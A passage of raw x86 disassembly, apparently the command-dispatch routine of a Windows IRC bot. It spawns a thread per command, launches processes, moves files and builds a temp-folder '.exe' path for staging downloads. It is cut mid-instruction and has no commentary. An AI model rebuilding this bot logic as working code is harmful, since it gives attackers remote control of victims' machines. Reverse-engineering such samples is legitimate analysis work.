--------------------------------------------------------------------------- loc_4081E6: ; CODE XREF: sub_40274D+5AA7j push 32h call ds:dword_42B014 ; Sleep loc_4081EE: ; CODE XREF: sub_40274D+5A86j cmp [ebp+4Ch+var_4D8], ebx jz short loc_4081E6 jmp loc_404929 ; --------------------------------------------------------------------------- loc_4081FB: ; CODE XREF: sub_40274D+4CB2j ; sub_40274D+4CC9j push [ebp+4Ch+var_8] call sub_41E7AD imul eax, 234h cmp ds:byte_444500[eax], bl pop ecx jz loc_404979 cmp [ebp+4Ch+var_18], ebx jz loc_404979 push edi call sub_41E1C0 push [ebp+4Ch+var_8] mov esi, eax call sub_41E1C0 push [ebp+4Ch+var_10] add esi, eax call sub_41E1C0 add eax, [ebp+4Ch+var_18] push [ebp+4Ch+arg_0] lea eax, [eax+esi+2] push eax call sub_41F090 mov esi, eax push esi lea eax, [ebp+4Ch+var_2D0] push offset dword_42D704 push eax call sub_41E6A6 add esp, 20h cmp esi, ebx jz loc_404979 push [ebp+4Ch+var_8] call sub_41E7AD test eax, eax pop ecx jle loc_404979 push [ebp+4Ch+var_8] call sub_41E7AD cmp eax, 400h pop ecx jge loc_404979 push ebx push ebx lea eax, [ebp+4Ch+var_2D0] push eax push edi push [ebp+4Ch+var_8] call sub_41E7AD imul eax, 234h pop ecx push ds:dword_4444F4[eax] call sub_40123B push [ebp+4Ch+var_8] call sub_41E7AD imul eax, 234h add esp, 18h cmp byte ptr ds:dword_4442E8[eax], 73h jnz loc_404979 push esi push [ebp+4Ch+var_8] call sub_41E7AD imul eax, 234h pop ecx add eax, offset byte_444500 push eax push edi push offset aSSS_0 ; "[%s] * %s %s" jmp loc_4083C8 ; --------------------------------------------------------------------------- loc_4082F0: ; CODE XREF: sub_40274D+4C84j ; sub_40274D+4C9Bj push [ebp+4Ch+var_8] call sub_41E7AD imul eax, 234h cmp ds:byte_444500[eax], bl pop ecx jz loc_404979 cmp [ebp+4Ch+var_18], ebx jz loc_404979 push edi call sub_41E1C0 push [ebp+4Ch+var_8] mov esi, eax call sub_41E1C0 push [ebp+4Ch+var_10] add esi, eax call sub_41E1C0 add eax, [ebp+4Ch+var_18] push [ebp+4Ch+arg_0] lea eax, [eax+esi+2] push eax call sub_41F090 mov esi, eax add esp, 14h cmp esi, ebx jz loc_404979 push [ebp+4Ch+var_8] call sub_41E7AD test eax, eax pop ecx jle loc_404979 push [ebp+4Ch+var_8] call sub_41E7AD cmp eax, 400h pop ecx jge loc_404979 push ebx push ebx push esi push edi push [ebp+4Ch+var_8] call sub_41E7AD imul eax, 234h pop ecx push ds:dword_4444F4[eax] call sub_40123B push [ebp+4Ch+var_8] call sub_41E7AD imul eax, 234h add esp, 18h cmp byte ptr ds:dword_4442E8[eax], 73h jnz loc_404979 push esi push [ebp+4Ch+var_8] call sub_41E7AD imul eax, 234h pop ecx add eax, offset byte_444500 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_4083C8: ; CODE XREF: sub_40274D+5B9Ej lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B loc_4083EA: ; CODE XREF: sub_40274D+23E3j add esp, 28h jmp loc_404979 ; --------------------------------------------------------------------------- loc_4083F2: ; CODE XREF: sub_40274D+4C56j ; sub_40274D+4C6Dj push [ebp+4Ch+var_8] call ds:dword_44417C ; inet_addr push edi mov [ebp+4Ch+var_688], eax call sub_41E7AD push [ebp+4Ch+arg_0] mov [ebp+4Ch+var_698], eax call sub_41E7AD mov esi, [ebp+4Ch+arg_4] push 7Fh push [ebp+4Ch+var_9C] mov [ebp+4Ch+var_690], eax lea eax, [ebp+4Ch+var_718] push eax mov [ebp+4Ch+var_71C], esi call sub_41E860 mov eax, [ebp+4Ch+var_C] mov edi, [ebp+4Ch+var_4] add esp, 14h push [ebp+4Ch+var_690] mov [ebp+4Ch+var_680], edi push [ebp+4Ch+var_698] mov [ebp+4Ch+var_67C], eax push [ebp+4Ch+var_688] call ds:dword_444188 ; inet_ntoa push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42D6A8 push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 0Bh push eax call sub_40AE85 add esp, 20h mov [ebp+4Ch+var_68C], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_71C] push eax push offset byte_40C3D3 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_68C] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4084D4 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D7A0 jmp loc_40491A ; --------------------------------------------------------------------------- loc_4084CC: ; CODE XREF: sub_40274D+5D8Dj push 32h call ds:dword_42B014 ; Sleep loc_4084D4: ; CODE XREF: sub_40274D+5D6Cj cmp [ebp+4Ch+var_678], ebx jz short loc_4084CC jmp loc_404929 ; --------------------------------------------------------------------------- loc_4084E1: ; CODE XREF: sub_40274D+4C28j ; sub_40274D+4C3Fj push [ebp+4Ch+var_8] call sub_41E7AD push 7Fh mov [ebp+4Ch+var_1134], eax lea eax, [ebp+4Ch+var_1238] push edi push eax call sub_41E860 push [ebp+4Ch+arg_0] call sub_41E7AD push [ebp+4Ch+var_9C] mov esi, [ebp+4Ch+arg_4] mov [ebp+4Ch+var_1138], eax lea eax, [ebp+4Ch+var_11B8] push 80h push eax mov [ebp+4Ch+var_1240], esi call sub_41E6FE mov eax, [ebp+4Ch+var_C] mov edi, [ebp+4Ch+var_4] add esp, 20h push [ebp+4Ch+var_1138] mov [ebp+4Ch+var_1124], eax lea eax, [ebp+4Ch+var_1238] push eax push [ebp+4Ch+var_1134] mov [ebp+4Ch+var_1128], edi push esi call sub_4023C9 pop ecx push eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42D66C push eax call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 18h push eax call sub_40AE85 add esp, 24h mov [ebp+4Ch+var_1130], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_1240] push eax push offset dword_41366C push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_1130] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4085CA call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D628 jmp loc_40491A ; --------------------------------------------------------------------------- loc_4085C2: ; CODE XREF: sub_40274D+5E83j push 32h call ds:dword_42B014 ; Sleep loc_4085CA: ; CODE XREF: sub_40274D+5E62j cmp [ebp+4Ch+var_1120], ebx jz short loc_4085C2 jmp loc_404929 ; --------------------------------------------------------------------------- loc_4085D7: ; CODE XREF: sub_40274D+4BFAj ; sub_40274D+4C11j push 0FFh push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_2880] push eax call sub_41E860 push 0FFh lea eax, [ebp+4Ch+var_2780] push edi push eax call sub_41E860 push [ebp+4Ch+arg_0] mov [ebp+4Ch+var_267C], ebx call sub_41E7AD mov [ebp+4Ch+var_2678], eax mov eax, [ebp+esi+4Ch+var_94] add esp, 1Ch cmp eax, ebx jz short loc_408630 push 10h push ebx push eax call sub_41EC61 add esp, 0Ch mov [ebp+4Ch+var_2670], eax jmp short loc_408636 ; --------------------------------------------------------------------------- loc_408630: ; CODE XREF: sub_40274D+5ECDj mov [ebp+4Ch+var_2670], ebx loc_408636: ; CODE XREF: sub_40274D+5EE1j mov esi, [ebp+esi+4Ch+var_90] cmp esi, ebx jz short loc_40864D push esi call sub_41E7AD pop ecx mov [ebp+4Ch+var_2674], eax jmp short loc_408653 ; --------------------------------------------------------------------------- loc_40864D: ; CODE XREF: sub_40274D+5EEFj mov [ebp+4Ch+var_2674], ebx loc_408653: ; CODE XREF: sub_40274D+5EFEj movzx eax, [ebp+4Ch+var_903] mov esi, [ebp+4Ch+arg_4] push 7Fh push [ebp+4Ch+var_9C] mov [ebp+4Ch+var_266C], eax lea eax, [ebp+4Ch+var_2900] push eax mov [ebp+4Ch+var_2904], esi call sub_41E860 mov eax, [ebp+4Ch+var_4] push edi push [ebp+4Ch+var_8] mov [ebp+4Ch+var_2664], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_2668], eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42D5FC push eax call sub_41E6A6 push esi lea eax, [ebp+4Ch+var_2D0] push 1Dh push eax call sub_40AE85 add esp, 28h mov [ebp+4Ch+var_2680], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_2904] push eax push offset dword_418F38 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_2680] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_408701 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D5BC jmp loc_4089B1 ; --------------------------------------------------------------------------- loc_4086F9: ; CODE XREF: sub_40274D+5FBAj push 32h call ds:dword_42B014 ; Sleep loc_408701: ; CODE XREF: sub_40274D+5F99j cmp [ebp+4Ch+var_2660], ebx jz short loc_4086F9 jmp loc_4089C0 ; --------------------------------------------------------------------------- loc_40870E: ; CODE XREF: sub_40274D+4BCCj ; sub_40274D+4BE3j push 7Fh pop esi push esi push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_36AC] push eax call sub_41E860 push esi lea eax, [ebp+4Ch+var_362C] push edi push eax call sub_41E860 push esi push [ebp+4Ch+arg_0] lea eax, [ebp+4Ch+var_35AC] push eax call sub_41E860 push esi push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_352C] push eax call sub_41E860 push [ebp+4Ch+arg_0] mov eax, [ebp+4Ch+var_4] mov esi, [ebp+4Ch+arg_4] push edi push [ebp+4Ch+var_8] mov [ebp+4Ch+var_34A8], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_34A4], eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42D580 push eax mov [ebp+4Ch+var_36B0], esi call sub_41E6A6 add esp, 44h push ebx lea eax, [ebp+4Ch+var_2D0] push 12h push eax call sub_40AE85 add esp, 0Ch mov [ebp+4Ch+var_34AC], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_36B0] push eax push offset loc_417BC8 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_34AC] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4087E5 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D548 jmp loc_4089B1 ; --------------------------------------------------------------------------- loc_4087DD: ; CODE XREF: sub_40274D+609Ej push 32h call ds:dword_42B014 ; Sleep loc_4087E5: ; CODE XREF: sub_40274D+607Dj cmp [ebp+4Ch+var_34A0], ebx jz short loc_4087DD jmp loc_4089C0 ; --------------------------------------------------------------------------- loc_4087F2: ; CODE XREF: sub_40274D+4AA3j ; sub_40274D+4ABAj push 7Fh pop esi push esi push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_3284] push eax call sub_41E860 push esi lea eax, [ebp+4Ch+var_3204] push edi push eax call sub_41E860 push esi push [ebp+4Ch+arg_0] lea eax, [ebp+4Ch+var_3184] push eax call sub_41E860 push esi push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_3104] push eax call sub_41E860 push [ebp+4Ch+arg_0] mov eax, [ebp+4Ch+var_4] mov esi, [ebp+4Ch+arg_4] push edi push [ebp+4Ch+var_8] mov [ebp+4Ch+var_3080], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_307C], eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42D518 push eax mov [ebp+4Ch+var_3288], esi call sub_41E6A6 add esp, 44h push ebx lea eax, [ebp+4Ch+var_2D0] push 0Eh push eax call sub_40AE85 add esp, 0Ch mov [ebp+4Ch+var_3084], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_3288] push eax push offset loc_4167D6 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_3084] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4088C9 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D4E0 jmp loc_4089B1 ; --------------------------------------------------------------------------- loc_4088C1: ; CODE XREF: sub_40274D+6182j push 32h call ds:dword_42B014 ; Sleep loc_4088C9: ; CODE XREF: sub_40274D+6161j cmp [ebp+4Ch+var_3078], ebx jz short loc_4088C1 jmp loc_4089C0 ; --------------------------------------------------------------------------- loc_4088D6: ; CODE XREF: sub_40274D+497Ej ; sub_40274D+4995j ... push 7Fh pop esi push esi push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_3F88] push eax call sub_41E860 push esi lea eax, [ebp+4Ch+var_3F08] push edi push eax call sub_41E860 push esi push [ebp+4Ch+arg_0] lea eax, [ebp+4Ch+var_3E88] push eax call sub_41E860 push esi push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_3E08] push eax call sub_41E860 push 20h push [ebp+4Ch+var_10] lea eax, [ebp+4Ch+var_3D88] push eax call sub_41E860 push [ebp+4Ch+arg_0] mov eax, [ebp+4Ch+var_4] mov esi, [ebp+4Ch+arg_4] push edi push [ebp+4Ch+var_8] mov [ebp+4Ch+var_3D08], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_3D04], eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42D4B0 push eax mov [ebp+4Ch+var_3F90], esi call sub_41E6A6 add esp, 50h push ebx lea eax, [ebp+4Ch+var_2D0] push 0Dh push eax call sub_40AE85 add esp, 0Ch mov [ebp+4Ch+var_3F8C], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_3F90] push eax push offset loc_415BD8 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_3F8C] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_4089E5 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D478 loc_4089B1: ; CODE XREF: sub_40274D+4BA1j ; sub_40274D+54C7j ... lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 add esp, 0Ch loc_4089C0: ; CODE XREF: sub_40274D+4BB6j ; sub_40274D+54DCj ... cmp [ebp+4Ch+var_C], ebx jnz loc_408D10 push ebx push [ebp+4Ch+var_4] loc_4089CD: ; CODE XREF: sub_40274D+21E7j lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push esi jmp loc_4069A7 ; --------------------------------------------------------------------------- loc_4089DD: ; CODE XREF: sub_40274D+629Ej push 32h call ds:dword_42B014 ; Sleep loc_4089E5: ; CODE XREF: sub_40274D+6256j cmp [ebp+4Ch+var_3D00], ebx jz short loc_4089DD jmp short loc_4089C0 ; --------------------------------------------------------------------------- loc_4089EF: ; CODE XREF: sub_40274D+4950j ; sub_40274D+4967j push 7Fh push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_1780] push eax call sub_41E860 push edi call sub_41E7AD push 3Fh push [ebp+4Ch+arg_0] mov [ebp+4Ch+var_1630], eax lea eax, [ebp+4Ch+var_1700] push eax call sub_41E860 mov esi, [ebp+esi+4Ch+var_94] add esp, 1Ch cmp esi, ebx jz short loc_408A3A push 3Fh lea eax, [ebp+4Ch+var_16C0] push esi push eax call sub_41E860 add esp, 0Ch loc_408A3A: ; CODE XREF: sub_40274D+62D9j lea eax, [ebp+4Ch+var_1700] push eax push [ebp+4Ch+var_1630] lea eax, [ebp+4Ch+var_1780] push eax lea eax, [ebp+4Ch+var_2D0] push offset dword_42D448 push eax mov [ebp+4Ch+var_162C], 1 call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 1Fh push eax call sub_40AE85 add esp, 20h mov [ebp+4Ch+var_1628], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_1784] push eax push offset sub_4025EF push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_1628] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_408AC9 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset dword_42D40C jmp loc_4076D4 ; --------------------------------------------------------------------------- loc_408AC1: ; CODE XREF: sub_40274D+6382j push 32h call ds:dword_42B014 ; Sleep loc_408AC9: ; CODE XREF: sub_40274D+6361j cmp [ebp+4Ch+var_1624], ebx jz short loc_408AC1 jmp loc_406C4D ; --------------------------------------------------------------------------- loc_408AD6: ; CODE XREF: sub_40274D+4913j ; sub_40274D:loc_407077j push edi call sub_41E7AD cmp eax, ebx pop ecx mov [ebp+4Ch+var_1D6C], eax jle loc_408BC3 push [ebp+4Ch+var_8] mov esi, 80h lea eax, [ebp+4Ch+var_1EF4] push esi push eax call sub_41E6FE push [ebp+4Ch+var_9C] xor eax, eax cmp [ebp+4Ch+var_8F6], bl push esi setnz al mov [ebp+4Ch+var_1D68], eax mov eax, [ebp+4Ch+arg_4] mov [ebp+4Ch+var_1EF8], eax lea eax, [ebp+4Ch+var_1DF4] push eax call sub_41E6FE mov eax, [ebp+4Ch+var_4] push edi push [ebp+4Ch+var_8] mov [ebp+4Ch+var_1D64], eax mov eax, [ebp+4Ch+var_C] push offset unk_42D3E0 mov [ebp+4Ch+var_1D60], eax lea eax, [ebp+4Ch+var_2D0] push 200h push eax call sub_41E6FE push ebx lea eax, [ebp+4Ch+var_2D0] push 15h push eax call sub_40AE85 add esp, 38h mov [ebp+4Ch+var_1D74], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_1EF8] push eax push offset loc_415C89 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_1D74] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_408BB6 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D3A8 jmp loc_40697E ; --------------------------------------------------------------------------- loc_408BAE: ; CODE XREF: sub_40274D+646Fj push 32h call ds:dword_42B014 ; Sleep loc_408BB6: ; CODE XREF: sub_40274D+644Ej cmp [ebp+4Ch+var_1D5C], ebx jz short loc_408BAE jmp loc_40698D ; --------------------------------------------------------------------------- loc_408BC3: ; CODE XREF: sub_40274D+6398j push offset unk_42D370 jmp loc_4078C9 ; --------------------------------------------------------------------------- loc_408BCD: ; CODE XREF: sub_40274D+48E5j ; sub_40274D+48FCj push edi push [ebp+4Ch+var_8] call ds:dword_42B034 ; MoveFileA test eax, eax jz short loc_408BFD push edi push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_2D0] push offset unk_42D34C push 200h push eax call sub_41E6FE loc_408BF5: ; CODE XREF: sub_40274D+2407j add esp, 14h jmp loc_40698D ; --------------------------------------------------------------------------- loc_408BFD: ; CODE XREF: sub_40274D+648Cj push offset dword_42D340 call sub_41ACD0 push eax lea eax, [ebp+4Ch+var_2D0] push 200h push eax call sub_41E6FE add esp, 10h jmp loc_40698D ; --------------------------------------------------------------------------- loc_408C21: ; CODE XREF: sub_40274D+48B7j ; sub_40274D+48CEj push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_3C78] push 104h push eax call sub_41E6FE add esp, 0Ch cmp [ebp+4Ch+var_18], ebx jz short loc_408C5B push edi push [ebp+4Ch+var_18] call sub_41F090 cmp eax, ebx pop ecx pop ecx jz short loc_408C5B push eax lea eax, [ebp+4Ch+var_3B74] push eax call sub_41E6A6 pop ecx pop ecx loc_408C5B: ; CODE XREF: sub_40274D+64EEj ; sub_40274D+64FDj push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_3CF8] push 80h push eax call sub_41E6FE mov eax, [ebp+4Ch+arg_4] mov [ebp+4Ch+var_3CFC], eax mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_3A6C], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_3A68], eax lea eax, [ebp+4Ch+var_3B74] push eax lea eax, [ebp+4Ch+var_3C78] push eax push offset unk_42D310 lea eax, [ebp+4Ch+var_2D0] push 200h push eax call sub_41E6FE push ebx lea eax, [ebp+4Ch+var_2D0] push 24h push eax call sub_40AE85 add esp, 2Ch mov [ebp+4Ch+var_3A70], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_3CFC] push eax push offset byte_4198EB push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_3A70] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_408D20 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D2D4 loc_408D01: ; CODE XREF: sub_40274D+731j ; sub_40274D+963j ... lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 add esp, 0Ch loc_408D10: ; CODE XREF: sub_40274D+84Aj ; sub_40274D+86Ej ... xor esi, esi inc esi jmp loc_406C6E ; --------------------------------------------------------------------------- loc_408D18: ; CODE XREF: sub_40274D+65D9j push 32h call ds:dword_42B014 ; Sleep loc_408D20: ; CODE XREF: sub_40274D+65A6j cmp [ebp+4Ch+var_3A64], ebx jz short loc_408D18 jmp short loc_408D10 ; --------------------------------------------------------------------------- loc_408D2A: ; CODE XREF: sub_40274D+4889j ; sub_40274D+48A0j push 44h pop esi push esi lea eax, [ebp+4Ch+var_670] push ebx push eax call sub_41E5F0 push [ebp+4Ch+var_8] mov [ebp+4Ch+var_670], esi xor esi, esi inc esi mov [ebp+4Ch+var_644], esi mov [ebp+4Ch+var_640], bx call sub_41E7AD add esp, 10h cmp eax, esi jnz short loc_408D69 mov [ebp+4Ch+var_640], 5 loc_408D69: ; CODE XREF: sub_40274D+6611j cmp [ebp+4Ch+var_18], ebx jz loc_406C4D push edi push [ebp+4Ch+var_18] call sub_41F090 mov edi, eax cmp edi, ebx pop ecx pop ecx jz loc_406C4D lea eax, [ebp+4Ch+var_D98] push eax lea eax, [ebp+4Ch+var_670] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call ds:dword_42B008 ; CreateProcessA test eax, eax lea eax, [ebp+4Ch+var_2D0] jnz short loc_408DB8 push offset unk_42D2B0 jmp loc_406C45 ; --------------------------------------------------------------------------- loc_408DB8: ; CODE XREF: sub_40274D+665Fj push edi push offset dword_42D294 jmp loc_4076DA ; --------------------------------------------------------------------------- loc_408DC3: ; CODE XREF: sub_40274D+485Bj ; sub_40274D+4872j push edi push offset aIiknc ; "iiKnc" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_408F2F lea eax, [ebp+4Ch+var_48F8] push eax push 104h call ds:dword_42B030 ; GetTempPathA push 0FFh push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_25D8] push eax call sub_41E860 lea eax, [ebp+4Ch+var_17A0] push eax call sub_40A8CA push eax lea eax, [ebp+4Ch+var_48F8] push eax lea eax, [ebp+4Ch+var_24D8] push offset aSS_exe ; "%s%s.exe" push eax call sub_41E6A6 mov eax, [ebp+esi+4Ch+var_98] add esp, 20h cmp eax, ebx mov [ebp+4Ch+var_23D4], 1 mov [ebp+4Ch+var_23D0], ebx jz short loc_408E52 push 10h push ebx push eax call sub_41EC61 add esp, 0Ch mov [ebp+4Ch+var_23C8], eax jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E52: ; CODE XREF: sub_40274D+66EFj mov [ebp+4Ch+var_23C8], ebx loc_408E58: ; CODE XREF: sub_40274D+6703j mov esi, [ebp+esi+4Ch+var_94] cmp esi, ebx jz short loc_408E6F push esi call sub_41E7AD pop ecx mov [ebp+4Ch+var_23CC], eax jmp short loc_408E75 ; --------------------------------------------------------------------------- loc_408E6F: ; CODE XREF: sub_40274D+6711j mov [ebp+4Ch+var_23CC], ebx loc_408E75: ; CODE XREF: sub_40274D+6720j movzx eax, [ebp+4Ch+var_903] mov esi, [ebp+4Ch+arg_4] push 7Fh push [ebp+4Ch+var_9C] mov [ebp+4Ch+var_23C4], eax lea eax, [ebp+4Ch+var_2658] push eax mov [ebp+4Ch+var_265C], esi call sub_41E860 mov eax, [ebp+4Ch+var_4] push [ebp+4Ch+var_8] mov [ebp+4Ch+var_23BC], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_23C0], eax lea eax, [ebp+4Ch+var_2D0] push offset dword_42D25C push eax call sub_41E6A6 push esi lea eax, [ebp+4Ch+var_2D0] push 1Eh push eax call sub_40AE85 add esp, 24h mov [ebp+4Ch+var_23D8], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_265C] push eax push offset dword_418F38 push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_23D8] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_408F22 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset dword_42D220 jmp loc_4076D4 ; --------------------------------------------------------------------------- loc_408F1A: ; CODE XREF: sub_40274D+67DBj push 32h call ds:dword_42B014 ; Sleep loc_408F22: ; CODE XREF: sub_40274D+67BAj cmp [ebp+4Ch+var_23B8], ebx jz short loc_408F1A jmp loc_406C4D ; --------------------------------------------------------------------------- loc_408F2F: ; CODE XREF: sub_40274D+6685j push offset dword_42D1D8 jmp loc_406C3F ; --------------------------------------------------------------------------- loc_408F39: ; CODE XREF: sub_40274D+482Dj ; sub_40274D+4844j push [ebp+4Ch+var_A0] push offset dword_42FBF4 call sub_41E990 test eax, eax pop ecx pop ecx jz loc_402B92 cmp [ebp+4Ch+var_18], ebx jz loc_402B92 push edi push [ebp+4Ch+var_18] call sub_41F090 push eax push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_2D0] push [ebp+4Ch+var_A0] push [ebp+4Ch+var_A4] push offset aSSSS ; "%s %s %s :%s" push eax call sub_41E6A6 push 1FFh lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+arg_0] call sub_41E860 push [ebp+4Ch+var_8] call sub_41E7AD add esp, 30h test eax, eax jle short loc_408FB6 push [ebp+4Ch+var_8] call sub_41E7AD imul eax, 3E8h pop ecx push eax call ds:dword_42B014 ; Sleep loc_408FB6: ; CODE XREF: sub_40274D+6851j push offset dword_42D1B0 call sub_417D70 mov eax, [ebp+4Ch+arg_24] pop ecx inc eax jmp loc_402B95 ; --------------------------------------------------------------------------- loc_408FCA: ; CODE XREF: sub_40274D+47FFj ; sub_40274D+4816j push [ebp+4Ch+var_A0] push offset dword_42FBF4 call sub_41E990 test eax, eax pop ecx pop ecx jz loc_402B92 cmp [ebp+4Ch+var_18], ebx jz loc_404979 push edi push [ebp+4Ch+var_18] call sub_41F090 push offset aRepeat ; "repeat" inc edi push edi mov esi, eax call sub_41E990 add esp, 10h test eax, eax push esi lea eax, [ebp+4Ch+var_2D0] jz short loc_409079 push [ebp+4Ch+var_9C] push [ebp+4Ch+var_A0] push [ebp+4Ch+var_A4] push offset aSSSS ; "%s %s %s :%s" push eax call sub_41E6A6 push 1FFh lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+arg_0] call sub_41E860 push esi lea eax, [ebp+4Ch+var_2D0] push offset dword_42D198 push eax call sub_41E6A6 lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 push [ebp+4Ch+var_8] call sub_41E7AD add esp, 38h test eax, eax jle loc_404979 push [ebp+4Ch+var_8] call sub_41E7AD add eax, [ebp+4Ch+arg_24] pop ecx jmp loc_402B95 ; --------------------------------------------------------------------------- loc_409079: ; CODE XREF: sub_40274D+68C0j push offset unk_42D164 jmp loc_409887 ; --------------------------------------------------------------------------- loc_409083: ; CODE XREF: sub_40274D+47D1j ; sub_40274D+47E8j push 7Fh push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_2088] push eax call sub_41E860 push 7Fh lea eax, [ebp+4Ch+var_2008] push edi push eax call sub_41E860 push 7Fh push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_1F88] push eax call sub_41E860 mov eax, [ebp+4Ch+var_4] mov esi, [ebp+4Ch+arg_4] push edi push [ebp+4Ch+var_8] mov [ebp+4Ch+var_1F04], eax mov eax, [ebp+4Ch+var_C] mov [ebp+4Ch+var_1F00], eax lea eax, [ebp+4Ch+var_2D0] push offset unk_42D130 push eax mov [ebp+4Ch+var_208C], esi call sub_41E6A6 push ebx lea eax, [ebp+4Ch+var_2D0] push 0Fh push eax call sub_40AE85 add esp, 40h mov [ebp+4Ch+var_1F08], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_208C] push eax push offset loc_4171BC push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_1F08] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_409144 call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42D0F4 jmp loc_409205 ; --------------------------------------------------------------------------- loc_40913C: ; CODE XREF: sub_40274D+69FDj push 32h call ds:dword_42B014 ; Sleep loc_409144: ; CODE XREF: sub_40274D+69DCj cmp [ebp+4Ch+var_1EFC], ebx jz short loc_40913C jmp loc_409214 ; --------------------------------------------------------------------------- loc_409151: ; CODE XREF: sub_40274D+47A3j ; sub_40274D+47BAj push 7Fh push [ebp+4Ch+var_8] lea eax, [ebp+4Ch+var_23B0] push eax call sub_41E860 push 7Fh lea eax, [ebp+4Ch+var_2330] push edi push eax call 